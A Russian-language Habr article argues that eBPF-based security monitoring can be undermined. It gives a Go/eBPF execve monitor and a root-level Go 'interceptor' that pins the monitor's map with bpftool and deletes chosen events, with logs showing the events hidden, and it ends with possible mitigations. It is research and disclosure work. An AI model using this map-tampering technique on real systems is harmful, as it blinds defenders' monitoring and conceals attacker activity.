golang

(Не)безопасный eBPF: что маркетологи забыли упомянуть об уязвимостях

  • понедельник, 1 июня 2026 г. в 00:00:21
https://habr.com/ru/articles/1041618/
Дисклеймер 1

Данная статья носит исключительно исследовательский характер. Моя цель - рассказать сообществу об архитектурных особенностях подсистемы eBPF в Linux.

Ведь для того чтобы эффективно защищать системы, необходимо знать об ограничениях используемых технологий.

Дисклеймер 2

Для чтения статьи надо уже быть знакомым с Linux и eBPF. Но если все еще интересно, то оставлю тут ссылку на то, как устроена эта технология.

Что происходит?

В последнее все чаще решения ИБ продуктов для мониторинга Linux систем переходят с kernel modules на eBPF.

Оно и понятно.

Поддержка модулей ядра для Linux - занятие крайне тяжелое. Коммьюнити не поддерживает API неизменным: количество дистрибутивов на рынке только увеличивается, и все пытаются привнести что-то свое в систему. А в итоге мы видим, как меняются системные вызовы, как структуры меняют свои размеры и смещения не только в зависимости от дистрибутива, но и от версии ядра.

Linux давно стал популярным для серверных корпоративных решений. Сегмент российских операционных систем строится на ядре Linux. Популярность растет, а с ней и потребность в ИТ и ИБ продуктах.

И тут на каждом углу начинают кричать о eBPF, как о способе, решающем все проблемы с совместимостью, безопасностью и тд.

Маркетинг кричит

eBPF - это:

  • безопасность ядра благодаря верификатору и изолированности технологии;

  • легкая поддержка относительно модулей ядра;

  • удобные библиотеки на C++, Go, Python, Rust для совместного использования;

  • кроссдистрибутивность за счет CO-RE (с нюансами: зависимость от BTF-информации ядра, проблемы со старыми ядрами <5.2, об этом однажды выйдет полноценная статья).

А я дополню

eBPF - это также:

  • видимость активности ядра из пользовательского пространства — даже без глубоких знаний об архитектуре eBPF и Linux;

  • низкий порог входа для реализации базовых сценариев компрометацииы;

  • отсутствие изоляции данных между привилегированными процессами.

Звучит уже не так сказочно, правда?

Для демонстрации простого примера уязвимости напишем две программы: монитор старта процессов (eBPF + Go) и программу перехватчик (только Go).

При желании можно повторить тоже самое на С++/Python/Rust. Вкусовщина.

Go выбран из-за удобной библиотеки и скорости разработки, так как пример демонстрационный.

Напишем программу мониторинга

Я не буду писать о том, как связать Go и eBPF, иначе статья разрастется. Но оставлю ссылку на туториал тут и в конце статьи.

Программа будет состоять из двух частей:

  • eBPF-модуль, посылающий данные о каждом системном вызове execve;

  • программа в пространстве пользователя на Go, отвечающая за загрузку байт-кода eBPF-модуля в ядро и за получение данных.

eBPF-модуль

Напишем eBPF-модуль, подключающийся к tracepoint для мониторинга системного вызова execve.

Не забываем про //go:build ignore в начале файла execve_monitoring.c для того, чтобы сборщик Go не пытался собрать C код.

//go:build ignore

#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>

#define MAX_PATH  256
#define TASK_COMM_LEN 16

// Структура, которую мы будем передавать в пользовательское пространство
struct start_ps_event {
    __u32 pid;
    char cmd[TASK_COMM_LEN];
    char filename[MAX_PATH];
} __attribute__((packed));

// Наша мапа, через которую мы будем все передавать
struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(max_entries, 1024);
    __type(key, __u32);
    __type(value, struct start_ps_event); 
} ps_info SEC(".maps");

// определение системной структуры данных
// приходит вместе с уведомлением о старте процесса
struct syscalls_enter_execve_args {
    unsigned short common_type;
    unsigned char common_flags;
    unsigned char common_preempt_count;
    int common_pid;
    int __syscall_nr;
    const char *filename;
    const char *const *argv;
    const char *const *envp;
};

// Основная функция мониторинга

SEC("tracepoint/syscalls/sys_enter_execve") 
int GetStartedPid(struct syscalls_enter_execve_args* ctx) {
    struct start_ps_event event = {};
    
    // Получаем PID и имя команды
    event.pid = bpf_get_current_pid_tgid() >> 32;
    bpf_get_current_comm(event.cmd, sizeof(event.cmd));
    
    // Читаем путь к исполняемому файлу
    bpf_probe_read_user_str(event.filename, sizeof(event.filename), ctx->filename);
    
    // Используем PID в качестве ключа мапы, чтобы события не перезаписывали друг друга
    __u32 key = event.pid;

    bpf_printk("BPF PRINT: process %s started\n", event.cmd);
    
    // Записываем структуру в мапу
    long res = bpf_map_update_elem(&ps_info, &key, &event, BPF_ANY);
    return 0;
}

char _license[] SEC("license") = "GPL";

Go-часть

Наш main.goделает минимум: загружает байт-код программы execve_monitoring.c в ядро. Ожидает, получает, считывает данные из мапы и выводит их с временными метками в терминал.

package main

import (
	"bytes"
	"fmt"
	"log"
	"os"
	"os/signal"
	"syscall"
	"time"

	"github.com/cilium/ebpf/link"
	"github.com/cilium/ebpf/rlimit"
)

// Структура должна быть аналогичной нашей start_ps_event из execve_monitoring.c
// Должны совпадать и порядок, и типы, и размеры
type StartPSEvent struct {
	Pid      uint32
	Cmd      [16]byte
	Filename [256]byte
}

func GetStrFromBytes(b []byte) string {
	if idx := bytes.IndexByte(b, 0); idx != -1 {
		return string(b[:idx])
	}
	return string(b)
}

func main() {
	if err := rlimit.RemoveMemlock(); err != nil {
		log.Fatalf("Failed to remove memlock: %v", err)
	}

	// Загружаем eBPF объекты напрямую в ядро
	objs := ps_start_hashObjects{}
	if err := loadPs_start_hashObjects(&objs, nil); err != nil {
		log.Fatalf("Failed to load eBPF objects: %v", err)
	}
	defer objs.Close()

	// Подключаемся к tracepoint
	tp, err := link.Tracepoint("syscalls", "sys_enter_execve", objs.GetStartedPid, nil)
	if err != nil {
		log.Fatalf("Failed to attach tracepoint: %v", err)
	}
	defer tp.Close()

	fmt.Println("eBPF program running and polling Hash Map...")

	sigChan := make(chan os.Signal, 1)
	signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM)

	stopChan := make(chan struct{})

	// Запускаем периодическое чтение из нашей мапы
	go func() {
		for {
			select {
			case <-stopChan:
				return
			default:
				var (
					key     uint32
					nextKey uint32
				)

				var keysToProcess []uint32

				// Собираем все текущие ключи из мапы
				err := objs.PsInfo.NextKey(nil, &nextKey)
				for err == nil {
					key = nextKey
					keysToProcess = append(keysToProcess, key)
					err = objs.PsInfo.NextKey(key, &nextKey)
				}

				// Если карта пуста, ждем 10мс и проверяем снова
				if len(keysToProcess) == 0 {
					time.Sleep(10 * time.Millisecond)
					continue
				}

                // пусть тут происходит какая-то работа
				time.Sleep(1 * time.Millisecond)

				// Перебираем собранные ключи, читаем данные и сразу удаляем
				var e StartPSEvent
				for _, k := range keysToProcess {
                  
					if lookupErr := objs.PsInfo.Lookup(k, &e); lookupErr == nil {
						log.Printf("Execve: PID=%d, Process=%s, File=%s\n",
							e.Pid,
							GetStrFromBytes(e.Cmd[:]),
							GetStrFromBytes(e.Filename[:]),
						)

						// Удаляем элемент, чтобы освободить место для новых событий ядра
						if delErr := objs.PsInfo.Delete(k); delErr != nil {
							log.Printf("Warning: failed to delete key %d: %v", k, delErr)
						}
					}
				}

				// Короткая пауза между итерациями
				time.Sleep(5 * time.Millisecond)
			}
		}
	}()

	<-sigChan
	close(stopChan)
	fmt.Println("Shutting down...")
}

Запустим нашу программу и увидим в терминале вывод данных обо всех вызовах execve в системе с именами файлов, pid и именем процесса.

just_me@just_me:~/go_ebpf_ps_start$ go build && sudo ./hash
[sudo] password for just_me: 
eBPF program running and polling Hash Map...
Execve: PID=256619, Process=code, File=/bin/sh
Execve: PID=256621, Process=code, File=/bin/sh
Execve: PID=256622, Process=sh, File=/usr/bin/ps
Execve: PID=256620, Process=sh, File=/usr/bin/which
Execve: PID=256627, Process=cpuUsage.sh, File=/usr/bin/cat
Execve: PID=256623, Process=code, File=/bin/sh
Execve: PID=256624, Process=sh, File=/snap/code/195/usr/share/code/resources/app/out/vs/base/node/cpuUsage.sh
Execve: PID=256629, Process=cpuUsage.sh, File=/usr/bin/cat
Execve: PID=256625, Process=cpuUsage.sh, File=/usr/bin/sed
Execve: PID=256626, Process=cpuUsage.sh, File=/usr/bin/cat
Execve: PID=256628, Process=cpuUsage.sh, File=/usr/bin/cat
Execve: PID=256630, Process=cpuUsage.sh, File=/usr/bin/sleep
Execve: PID=256632, Process=cpuUsage.sh, File=/usr/bin/cat
Execve: PID=256631, Process=cpuUsage.sh, File=/usr/bin/sed
Execve: PID=256638, Process=cpuUsage.sh, File=/usr/bin/cat
Execve: PID=256634, Process=cpuUsage.sh, File=/usr/bin/cat
Execve: PID=256636, Process=cpuUsage.sh, File=/usr/bin/cat
Execve: PID=256641, Process=code, File=/bin/sh
Execve: PID=256642, Process=sh, File=/usr/bin/which
Execve: PID=256643, Process=code, File=/bin/sh
Execve: PID=256644, Process=sh, File=/usr/bin/ps
Execve: PID=256649, Process=cpuUsage.sh, File=/usr/bin/cat
Execve: PID=256646, Process=sh, File=/snap/code/195/usr/share/code/resources/app/out/vs/base/node/cpuUsage.sh
Execve: PID=256645, Process=code, File=/bin/sh
Execve: PID=256650, Process=cpuUsage.sh, File=/usr/bin/cat
Execve: PID=256652, Process=cpuUsage.sh, File=/usr/bin/sleep
Execve: PID=256647, Process=cpuUsage.sh, File=/usr/bin/sed
Execve: PID=256651, Process=cpuUsage.sh, File=/usr/bin/cat
Execve: PID=256648, Process=cpuUsage.sh, File=/usr/bin/cat
...

Супер, мониторинг работает. Значит можно переходить к интересному.

Как получить все, что нужно для чтения нашей eBPF map из стороннего приложения?

Если вы никогда не работали с eBPF сначала устанавливаем необходимый инструментарий

sudo apt update
sudo apt install linux-tools-common linux-tools-generic linux-tools-$(uname -r)

sudo apt install bpftool
Примечание

Для предыдущего пункта он тоже нужен, но моя задача показать, насколько просто воспользоваться данной уязвимостью с нуля

Выполняем следующую команду

sudo bpftool map list

Видим результат - список всех открытых eBPF-map в системе и некоторая информация о них.

just_me@just_me:/~$ sudo bpftool map list
1: hash  flags 0x0
	key 9B  value 1B  max_entries 500  memlock 46432B
2: hash  flags 0x0
	key 9B  value 1B  max_entries 500  memlock 46432B
4: hash  flags 0x0
	key 9B  value 1B  max_entries 500  memlock 46432B
5: hash  name s_libreoffice_h  flags 0x0
	key 9B  value 1B  max_entries 1000  memlock 90624B
133: hash  name s_firmware_upda  flags 0x0
	key 9B  value 1B  max_entries 1000  memlock 90624B
138: hash  name s_mesa_2404_hoo  flags 0x0
	key 9B  value 1B  max_entries 1000  memlock 90624B
139: hash  name s_chromium_hook  flags 0x0
	key 9B  value 1B  max_entries 1000  memlock 90624B
178: array  name .rodata  flags 0x480
	key 4B  value 31B  max_entries 1  memlock 8192B
	btf_id 437  frozen
179: hash  name ps_info  flags 0x0
	key 4B  value 276B  max_entries 1024  memlock 365856B
	btf_id 438

Теперь разберемся, какую именно информацию о нашей мапе можно забрать из этого вывода.

Для этого взглянем еще раз на описание нашей структуры из файла execve_monitor.c

struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(max_entries, 1024);
    __type(key, __u32);
    __type(value, struct start_ps_event); 
} ps_info SEC(".maps");

А теперь приглядитесь к строке 19 результатов команды sudo bpftool map list

Что видим в терминале?

Что это на самом деле?

ps_info

точное имя нашей структуры общения с пространством пользователя

hash

используемый нами тип мапы, от которого напрямую зависит способ получения и разбора приходящих данных (в execve_monitor.c используем макрос BPF_MAP_TYPE_HASH)

179

идентификатор нашей мапы, знание которого нам и позволит в дальнейшем к ней подключиться.

Кажется, чего-то не хватает...

О нет! Как читать бинарные данные, когда нет вида приходящей структуры?
К сожалению, не так сложно. Тут стоит напомнить про реверс-инжиниринг.

Восстановление структуры зависит от флагов сборки, наличия отладочной информации и языка реализации. Но в нашей демонстрационном бинарнике на Go без stripping статический анализ (Ghidra/IDA) быстро выдаёт смещения и имена полей.

В production-сборках задача усложняется: оптимизации, кастомная сериализация или отсутствие символов потребуют динамического анализа и ручной реконструкции. Тем не менее, барьер входа остаётся существенно ниже, чем при реверсе kernel modules.

У нас все есть, теперь пишем перехватчик

Для того, чтобы получить доступ к чужой eBPF мапе нужно закрепить ее в пространстве пользователя.

Это делается простой командой

sudo bpftool map pin id 179 /sys/fs/bpf/my_shared_map

Пользуемся id, который мы получили в прошлом разделе.

Место и название закрепления мапы не принципиально, просто надо запомнить путь, в программе перехватчике он нам пригодится.

Посмотрите еще раз на вывод мониторинга до подключения перехватчика. Заметно достаточно много вызовов с именем процесса cpuUsage.sh

Наш перехватчик миролюбивый, поэтому настроим его на фильтрацию спама от cpuUsage.sh

Перейдем к коду перехватчика. Тут только Go часть, eBPF нам не нужен.

package main

import (
	"bytes"
	"log"
	"time"

	"github.com/cilium/ebpf"
)
// Восстановили структуру из Ghidra и пользуемся ей
type StartPSEvent struct {
	Pid      uint32
	Cmd      [16]byte
	Filename [256]byte
}

func GetStrFromBytes(b []byte) string {
	if idx := bytes.IndexByte(b, 0); idx != -1 {
		return string(b[:idx])
	}
	return string(b)
}

func main() {
    
	mapPath := "/sys/fs/bpf/my_shared_map"
	m, err := ebpf.LoadPinnedMap(mapPath, nil)
	if err != nil {
		log.Fatalf("Не удалось открыть карту: %v", err)
	}
	defer m.Close()

	log.Println("Успешно подключились к мапею Начинаем чтение...")

	for {
		var (
			key     uint32
			nextKey uint32
		)

		var keysToProcess []uint32

		err := m.NextKey(nil, &nextKey)
		for err == nil {
			key = nextKey
			keysToProcess = append(keysToProcess, key)

			err = m.NextKey(key, &nextKey)
		}

		if len(keysToProcess) == 0 {
			time.Sleep(10 * time.Millisecond)
			continue
		}

		// Перебираем собранные ключи, читаем данные и удаляем элементы
		var value StartPSEvent
		for _, k := range keysToProcess {
			if lookupErr := m.Lookup(k, &value); lookupErr == nil {
				filename := GetStrFromBytes(value.Filename[:])
				cmd := GetStrFromBytes(value.Cmd[:])
              
                // Фильтруем процессы по имени
				
                if cmd != "cpuUsage.sh" {
					continue
				}
              
				log.Printf("ID ключа: %d | PID процесса: %d, Имя файла: %s, cmd: %s", k, value.Pid, filename, cmd)
				
                // Теперь удаляем из мапы запись о процессе с именем cpuUsage.sh
				if delErr := m.Delete(k); delErr != nil {
					log.Printf("Предупреждение: не удалось удалить ключ %d (возможно, процесс уже удален): %v", k, delErr)
				}
			}
		}

		// Небольшая пауза после обработки пачки, чтобы дать ядру заполнить мапу
		time.Sleep(5 * time.Millisecond)
	}
}

Запустили мониторинг, подключили перехватчик. Теперь посмотрим на их вывод:

Вывод перехватчика

2026/05/30 17:58:07 Успешно подключились к мапе. Начинаем чтение...
2026/05/30 17:58:07 ID ключа: 258667 | PID процесса: 258667, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh
2026/05/30 17:58:07 ID ключа: 258666 | PID процесса: 258666, Имя файла: /usr/bin/sed, cmd: cpuUsage.sh
2026/05/30 17:58:08 ID ключа: 258675 | PID процесса: 258675, Имя файла: /usr/bin/sed, cmd: cpuUsage.sh
2026/05/30 17:58:08 ID ключа: 258676 | PID процесса: 258676, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh
2026/05/30 17:58:08 ID ключа: 258677 | PID процесса: 258677, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh
2026/05/30 17:58:08 ID ключа: 258678 | PID процесса: 258678, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh
2026/05/30 17:58:08 ID ключа: 258679 | PID процесса: 258679, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh
2026/05/30 17:58:08 ID ключа: 258680 | PID процесса: 258680, Имя файла: /usr/bin/sleep, cmd: cpuUsage.sh
2026/05/30 17:58:09 ID ключа: 258681 | PID процесса: 258681, Имя файла: /usr/bin/sed, cmd: cpuUsage.sh
2026/05/30 17:58:09 ID ключа: 258682 | PID процесса: 258682, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh
2026/05/30 17:58:09 ID ключа: 258684 | PID процесса: 258684, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh
2026/05/30 17:58:09 ID ключа: 258686 | PID процесса: 258686, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh
2026/05/30 17:58:09 ID ключа: 258688 | PID процесса: 258688, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh
2026/05/30 17:58:09 ID ключа: 258696 | PID процесса: 258696, Имя файла: /usr/bin/sed, cmd: cpuUsage.sh

Судя по логам, перехватчик был подключен к мапе 2026/05/30 17:58:07.

Напоминаю, что заранее он был настроен на фильтрацию процессов с именем cpuUsage.sh

Вывод программы мониторинга execve

Теперь посмотрим как менялся вывод нашего мониторинга в процессе его работы при включении перехватчика:

2026/05/30 17:58:05 Execve: PID=258632, Process=cpuUsage.sh, File=/usr/bin/cat
2026/05/30 17:58:05 Execve: PID=258627, Process=code, File=/bin/sh
2026/05/30 17:58:05 Execve: PID=258629, Process=cpuUsage.sh, File=/usr/bin/sed
2026/05/30 17:58:05 Execve: PID=258630, Process=cpuUsage.sh, File=/usr/bin/cat
2026/05/30 17:58:05 Execve: PID=258633, Process=cpuUsage.sh, File=/usr/bin/cat
2026/05/30 17:58:05 Execve: PID=258634, Process=cpuUsage.sh, File=/usr/bin/sleep
2026/05/30 17:58:05 Execve: PID=258631, Process=cpuUsage.sh, File=/usr/bin/cat
2026/05/30 17:58:05 Execve: PID=258628, Process=sh, File=/snap/code/195/usr/share/code/resources/app/out/vs/base/node/cpuUsage.sh
2026/05/30 17:58:06 Execve: PID=258638, Process=cpuUsage.sh, File=/usr/bin/sed
2026/05/30 17:58:06 Execve: PID=258639, Process=cpuUsage.sh, File=/usr/bin/cat
2026/05/30 17:58:06 Execve: PID=258643, Process=cpuUsage.sh, File=/usr/bin/cat
2026/05/30 17:58:06 Execve: PID=258645, Process=cpuUsage.sh, File=/usr/bin/cat
2026/05/30 17:58:06 Execve: PID=258641, Process=cpuUsage.sh, File=/usr/bin/cat
2026/05/30 17:58:06 Execve: PID=258648, Process=code, File=/bin/sh
2026/05/30 17:58:06 Execve: PID=258649, Process=sh, File=/usr/bin/which
2026/05/30 17:58:06 Execve: PID=258651, Process=sh, File=/usr/bin/ps
2026/05/30 17:58:06 Execve: PID=258650, Process=code, File=/bin/sh
2026/05/30 17:58:06 Execve: PID=258655, Process=cpuUsage.sh, File=/usr/bin/sed
2026/05/30 17:58:06 Execve: PID=258654, Process=sh, File=/snap/code/195/usr/share/code/resources/app/out/vs/base/node/cpuUsage.sh
2026/05/30 17:58:06 Execve: PID=258653, Process=code, File=/bin/sh
2026/05/30 17:58:06 Execve: PID=258656, Process=cpuUsage.sh, File=/usr/bin/cat
2026/05/30 17:58:06 Execve: PID=258657, Process=cpuUsage.sh, File=/usr/bin/sleep
2026/05/30 17:58:07 Execve: PID=258659, Process=bash, File=/usr/bin/sudo
2026/05/30 17:58:07 Execve: PID=258661, Process=sudo, File=./block
2026/05/30 17:58:08 Execve: PID=258669, Process=code, File=/bin/sh
2026/05/30 17:58:08 Execve: PID=258670, Process=sh, File=/usr/bin/which
2026/05/30 17:58:08 Execve: PID=258672, Process=sh, File=/usr/bin/ps
2026/05/30 17:58:08 Execve: PID=258671, Process=code, File=/bin/sh
2026/05/30 17:58:08 Execve: PID=258674, Process=sh, File=/snap/code/195/usr/share/code/resources/app/out/vs/base/node/cpuUsage.sh
2026/05/30 17:58:08 Execve: PID=258673, Process=code, File=/bin/sh
2026/05/30 17:58:09 Execve: PID=258690, Process=code, File=/bin/sh
2026/05/30 17:58:09 Execve: PID=258691, Process=sh, File=/usr/bin/which
2026/05/30 17:58:09 Execve: PID=258693, Process=sh, File=/usr/bin/ps
2026/05/30 17:58:09 Execve: PID=258692, Process=code, File=/bin/sh

2026/05/30 17:58:05 - 2026/05/30 17:58:06 - первая и последняя запись о системном вызове execve для cpuUsage.sh

2026/05/30 17:58:07 - с этого момента события о cpuUsage.sh есть в системе, eBPF программа их фиксирует, но видим мы их только в программе перехватчике.

Монитор эти события больше не получает.

Ура! Mы получили возможность перехватывать события мониторинга, используя только базовый реверс инжениринг, Go и пару команд терминала.

В коде пользовательской части мониторинга можно увидеть присутствие задержки в 1 миллисекунду перед чтением из мапы.

// пусть тут происходит какая-то работа
time.Sleep(1 * time.Millisecond)

Это сделано намеренно для того, чтобы показать возможность фильтрации и не демонстрировать в логах гонку перехватчика и мониторинга.

Эта ситуация — классический пример race condition на уровне потребления событий безопасности. Кто первый успел прочитать и удалить запись из мапы, тот и получил данные.

Если задержку в примере убрать, то и тот и другой будут получать события, но перехватчик и монитор иногда будут бороться за удаление событий из общей мапы, что отразится в логах как ошибка удаления несуществующего элемента.

Демонстрация собрана на: Linux 6.11.0-26-generic, Go go1.23.4 linux/amd64, libbpf/cilium-ebpf последней стабильной версии.

На старых ядрах (<5.8) поведение может отличаться.

Что мы наблюдаем?

Весь этот пример — прямое следствие отсутствия разграничения прав доступа между процессами при работе с eBPF-мапами. В модели Linux, где root един, любой привилегированный процесс получает доступ ко всем ресурсам ядра, включая каналы передачи данных мониторинга.

Как бороться с уязвимостью map?

Скажу сразу: в production-средах не все так плохо, как показано в статье

Тут приведен упрощенный пример работы с eBPF. Условия для использования против пользователя этой уязвимости в продуктах будут сложнее.

Но проблема всё-таки есть, и она явно не исследована до конца.

Поэтому вопрос защиты дискуссионный и зачастую будет сводиться к компромиссам. Готовых решений и статей по этому вопросу я пока не нашла (если они есть, прошу оставить ссылки в комментариях). Поэтому в этом разделе поделюсь своим видением вариантов решения проблемы.

Нулевой вариант или необходимая практика

В статье пример мапы типа hash, у нее свой механизм. Работа с array, ring buffer и тд, будет отличаться, где‑то не будет доступно такое простое удаление, где‑то не будет дубляжа событий для разных процессов.

От типа мапы многое зависит, и его стоит выбирать под нужды проекта. Вот документация по мапам.

Также в статье не рассматривался вопрос с правами доступа. В eBPF есть механизмы защиты для map ‑, например, флаг доступа BPF_F_RDONLY_PROG. Но он может лишь немного усложнить жизнь злоумышленнику. Для перехвата необходимо будет писать и eBPF программу.

Также есть sysctl параметр, который отвечает за возможность загрузки eBPF кода в зависимости от его уровня привилегий. Чтобы узнать его значение в терминале введите следующее:

 sysctl kernel.unprivileged_bpf_disabled
  • Если = 1 — обычный пользователь не сможет загрузить eBPF программу;

  • Если = 0 — (дефолт во многих дистрибутивах) — не root тоже может пользоваться механизмом;

  • Если = 2 — тоже, что и 1, но запрещает изменение самого параметра не-привилегированным пользователям.

Если ваше решение не устанавливает явные флаги доступа (BPF_F_RDONLY_PROG) и не контролирует pinning, оно по умолчанию доверяет любому процессу с правами root в системе.

Первый вариант

Не использовать eBPF в продуктовых средах. Но это плохой вариант.

Хоть eBPF и BPF были созданы для локального мониторинга, несмотря на явные недостатки для продуктового использования, есть и явные преимущества. Они касаются более простой поддержки, стабильного API, BTF, позволяющего избегать использование структур ядра нативно. А аналогов пока нет.

Второй вариант

Этот вариант на практике не проверялся. Дальше лишь мои предположения.

Можно комбинировать kernel modules/LSM с eBPF для защиты мапы.

Основной код мониторинга будет оставаться более переносимым. В поддержке под ядра будет нуждаться (относительно) малая часть, ответственная за защиту подключения к мапе.

Небольшое заключение

На самом деле eBPF представляет большой интерес как практический, так и исследовательский.

Интересно, как дальше будет развиваться этот механизм с учетом того, как сейчас его активно используют в production-средах, что eBPF давно перестал быть только продвинутым инструментом SRE/DevOps/Администраторов и тд, возможно его ждут архитектурные изменения.

А нам остается только наблюдать и подстраиваться.

Статья основана на личном исследовании. Критика и дополнения в комментариях приветствуются

Полезные ссылки

  1. Официальное интро в технологию

  2. Что такое eBPF

  3. Документация eBPF

  4. Типы eBPF maps

  5. Как связать Go и eBPF

  6. Библиотека cilium для работы Go и eBPF